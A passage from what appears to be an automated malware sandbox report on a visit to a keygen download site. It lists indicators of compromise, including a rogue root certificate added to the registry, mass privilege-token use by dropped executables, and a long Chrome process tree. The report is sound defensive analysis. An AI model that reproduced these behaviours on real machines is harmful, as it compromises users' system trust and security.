572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e keygen-step-2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 keygen-step-2.exe -
Runs ping.exe 1 TTPs 4 IoCs
Processes:
PING.EXEPING.EXEPING.EXEPING.EXEpid process 1852 PING.EXE 5096 PING.EXE 540 PING.EXE 5864 PING.EXE -
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 285 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 291 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 501 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 509 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 36 IoCs
Processes:
chrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exechrome.exesetups.tmpFull_Version.exepid process 676 chrome.exe 676 chrome.exe 492 chrome.exe 492 chrome.exe 4332 chrome.exe 4332 chrome.exe 4764 chrome.exe 4764 chrome.exe 6120 chrome.exe 6120 chrome.exe 4676 chrome.exe 4676 chrome.exe 4236 chrome.exe 4236 chrome.exe 5080 chrome.exe 5080 chrome.exe 2588 setups.tmp 2588 setups.tmp 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe 4304 Full_Version.exe -
Suspicious use of AdjustPrivilegeToken 41 IoCs
Processes:
Setup.exeaskinstall20.exemultitimer.exetaskkill.exeMicrosoftEdge.exedescription pid process Token: SeDebugPrivilege 4644 Setup.exe Token: SeCreateTokenPrivilege 4528 askinstall20.exe Token: SeAssignPrimaryTokenPrivilege 4528 askinstall20.exe Token: SeLockMemoryPrivilege 4528 askinstall20.exe Token: SeIncreaseQuotaPrivilege 4528 askinstall20.exe Token: SeMachineAccountPrivilege 4528 askinstall20.exe Token: SeTcbPrivilege 4528 askinstall20.exe Token: SeSecurityPrivilege 4528 askinstall20.exe Token: SeTakeOwnershipPrivilege 4528 askinstall20.exe Token: SeLoadDriverPrivilege 4528 askinstall20.exe Token: SeSystemProfilePrivilege 4528 askinstall20.exe Token: SeSystemtimePrivilege 4528 askinstall20.exe Token: SeProfSingleProcessPrivilege 4528 askinstall20.exe Token: SeIncBasePriorityPrivilege 4528 askinstall20.exe Token: SeCreatePagefilePrivilege 4528 askinstall20.exe Token: SeCreatePermanentPrivilege 4528 askinstall20.exe Token: SeBackupPrivilege 4528 askinstall20.exe Token: SeRestorePrivilege 4528 askinstall20.exe Token: SeShutdownPrivilege 4528 askinstall20.exe Token: SeDebugPrivilege 4528 askinstall20.exe Token: SeAuditPrivilege 4528 askinstall20.exe Token: SeSystemEnvironmentPrivilege 4528 askinstall20.exe Token: SeChangeNotifyPrivilege 4528 askinstall20.exe Token: SeRemoteShutdownPrivilege 4528 askinstall20.exe Token: SeUndockPrivilege 4528 askinstall20.exe Token: SeSyncAgentPrivilege 4528 askinstall20.exe Token: SeEnableDelegationPrivilege 4528 askinstall20.exe Token: SeManageVolumePrivilege 4528 askinstall20.exe Token: SeImpersonatePrivilege 4528 askinstall20.exe Token: SeCreateGlobalPrivilege 4528 askinstall20.exe Token: 31 4528 askinstall20.exe Token: 32 4528 askinstall20.exe Token: 33 4528 askinstall20.exe Token: 34 4528 askinstall20.exe Token: 35 4528 askinstall20.exe Token: SeDebugPrivilege 4304 multitimer.exe Token: SeDebugPrivilege 4348 taskkill.exe Token: SeDebugPrivilege 5172 MicrosoftEdge.exe Token: SeDebugPrivilege 5172 MicrosoftEdge.exe Token: SeDebugPrivilege 5172 MicrosoftEdge.exe Token: SeDebugPrivilege 5172 MicrosoftEdge.exe -
Suspicious use of FindShellTrayWindow 11 IoCs
Processes:
chrome.exepid process 492 chrome.exe 492 chrome.exe 492 chrome.exe 492 chrome.exe 492 chrome.exe 492 chrome.exe 492 chrome.exe 492 chrome.exe 492 chrome.exe 492 chrome.exe 492 chrome.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
MicrosoftEdge.exepid process 5172 MicrosoftEdge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
chrome.exedescription pid process target process PID 492 wrote to memory of 1168 492 chrome.exe chrome.exe PID 492 wrote to memory of 1168 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 3136 492 chrome.exe chrome.exe PID 492 wrote to memory of 676 492 chrome.exe chrome.exe PID 492 wrote to memory of 676 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe PID 492 wrote to memory of 812 492 chrome.exe chrome.exe
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenninja.com/1⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ffa23df6e00,0x7ffa23df6e10,0x7ffa23df6e202⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1608 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1656 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2224 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2584 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2592 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3488 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3496 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4376 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4584 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4712 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4736 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings2⤵
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x240,0x244,0x248,0x23c,0x24c,0x7ff7c1d57740,0x7ff7c1d57750,0x7ff7c1d577603⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4920 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5812 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5952 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5680 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5456 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4924 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5472 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5580 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5844 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4944 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4876 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5784 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6196 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5780 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6448 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6612 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6704 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4736 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5816 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7016 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7148 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7144 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7420 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7560 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7684 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7824 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7984 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5768 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6216 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8400 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8540 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8552 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8816 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8916 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8940 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9204 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9380 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9372 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5396 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8312 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8188 /prefetch:82⤵
-
